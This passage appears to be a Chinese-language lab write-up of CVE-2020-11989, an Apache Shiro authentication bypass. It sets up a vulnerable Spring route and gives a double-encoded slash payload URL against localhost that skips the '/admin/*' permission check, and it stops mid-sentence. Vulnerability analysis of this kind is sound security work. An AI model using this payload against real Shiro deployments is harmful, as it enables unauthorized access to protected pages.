0x01 环境搭建
了解Ant 风格路径表达式
https://blog.youkuaiyun.com/sinat_18619901/article/details/95931601
0x02 CVE-2020-11989
影响条件
Apache Shiro < 1.5.3
Spring 框架中只使用 Shiro 鉴权
代码分析
首先在com.shiro.vuln.Shiro.ShiroCon-fig#shiroFilterFactoryBean中添加如下内容:
map.put("/admin/*","authc");
然后在com.shiro.vuln.Controller.User-Controller添加路由
@ResponseBody
@GetMapping("/admin/{name}")
public String namePage(@PathVariable String name){
return "Hello" + name;
}
payload
http://127.0.0.1:8080/admin/a%252Fb
正常情况下访问:
/admin/xxx或/admin/xxx/xxx 分别会跳转302和404,但是上面那样访问可以直接绕过权限校验并